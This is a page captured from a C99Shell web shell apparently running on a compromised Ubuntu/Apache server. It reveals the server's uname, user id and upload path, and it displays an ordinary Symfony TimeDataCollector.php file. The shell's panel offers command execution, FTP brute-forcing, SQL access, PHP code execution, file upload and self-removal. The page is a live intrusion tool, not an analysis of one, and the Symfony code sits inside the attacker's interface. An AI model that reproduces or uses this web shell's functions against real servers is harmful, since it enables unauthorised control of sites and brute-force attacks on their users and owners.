!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/symfony/http-kernel/DataCollector/   drwxr-xr-x
Free 13.24 GB of 57.97 GB (22.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TimeDataCollector.php (3.65 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\HttpKernel\DataCollector;

use 
Symfony\Component\HttpFoundation\Request;
use 
Symfony\Component\HttpFoundation\Response;
use 
Symfony\Component\HttpKernel\KernelInterface;
use 
Symfony\Component\Stopwatch\Stopwatch;
use 
Symfony\Component\Stopwatch\StopwatchEvent;

/**
 * @author Fabien Potencier <fabien@symfony.com>
 *
 * @final
 */
class TimeDataCollector extends DataCollector implements LateDataCollectorInterface
{
    protected 
$kernel;
    protected 
$stopwatch;

    public function 
__construct(KernelInterface $kernel nullStopwatch $stopwatch null)
    {
        
$this->kernel $kernel;
        
$this->stopwatch $stopwatch;
    }

    
/**
     * {@inheritdoc}
     */
    
public function collect(Request $requestResponse $response\Throwable $exception null)
    {
        if (
null !== $this->kernel) {
            
$startTime $this->kernel->getStartTime();
        } else {
            
$startTime $request->server->get('REQUEST_TIME_FLOAT');
        }

        
$this->data = [
            
'token' => $response->headers->get('X-Debug-Token'),
            
'start_time' => $startTime 1000,
            
'events' => [],
            
'stopwatch_installed' => class_exists(Stopwatch::class, false),
        ];
    }

    
/**
     * {@inheritdoc}
     */
    
public function reset()
    {
        
$this->data = [];

        if (
null !== $this->stopwatch) {
            
$this->stopwatch->reset();
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function lateCollect()
    {
        if (
null !== $this->stopwatch && isset($this->data['token'])) {
            
$this->setEvents($this->stopwatch->getSectionEvents($this->data['token']));
        }
        unset(
$this->data['token']);
    }

    
/**
     * Sets the request events.
     *
     * @param StopwatchEvent[] $events The request events
     */
    
public function setEvents(array $events)
    {
        foreach (
$events as $event) {
            
$event->ensureStopped();
        }

        
$this->data['events'] = $events;
    }

    
/**
     * Gets the request events.
     *
     * @return StopwatchEvent[] The request events
     */
    
public function getEvents()
    {
        return 
$this->data['events'];
    }

    
/**
     * Gets the request elapsed time.
     *
     * @return float The elapsed time
     */
    
public function getDuration()
    {
        if (!isset(
$this->data['events']['__section__'])) {
            return 
0;
        }

        
$lastEvent $this->data['events']['__section__'];

        return 
$lastEvent->getOrigin() + $lastEvent->getDuration() - $this->getStartTime();
    }

    
/**
     * Gets the initialization time.
     *
     * This is the time spent until the beginning of the request handling.
     *
     * @return float The elapsed time
     */
    
public function getInitTime()
    {
        if (!isset(
$this->data['events']['__section__'])) {
            return 
0;
        }

        return 
$this->data['events']['__section__']->getOrigin() - $this->getStartTime();
    }

    
/**
     * Gets the request time.
     *
     * @return float
     */
    
public function getStartTime()
    {
        return 
$this->data['start_time'];
    }

    
/**
     * @return bool whether or not the stopwatch component is installed
     */
    
public function isStopwatchInstalled()
    {
        return 
$this->data['stopwatch_installed'];
    }

    
/**
     * {@inheritdoc}
     */
    
public function getName()
    {
        return 
'time';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0051 ]--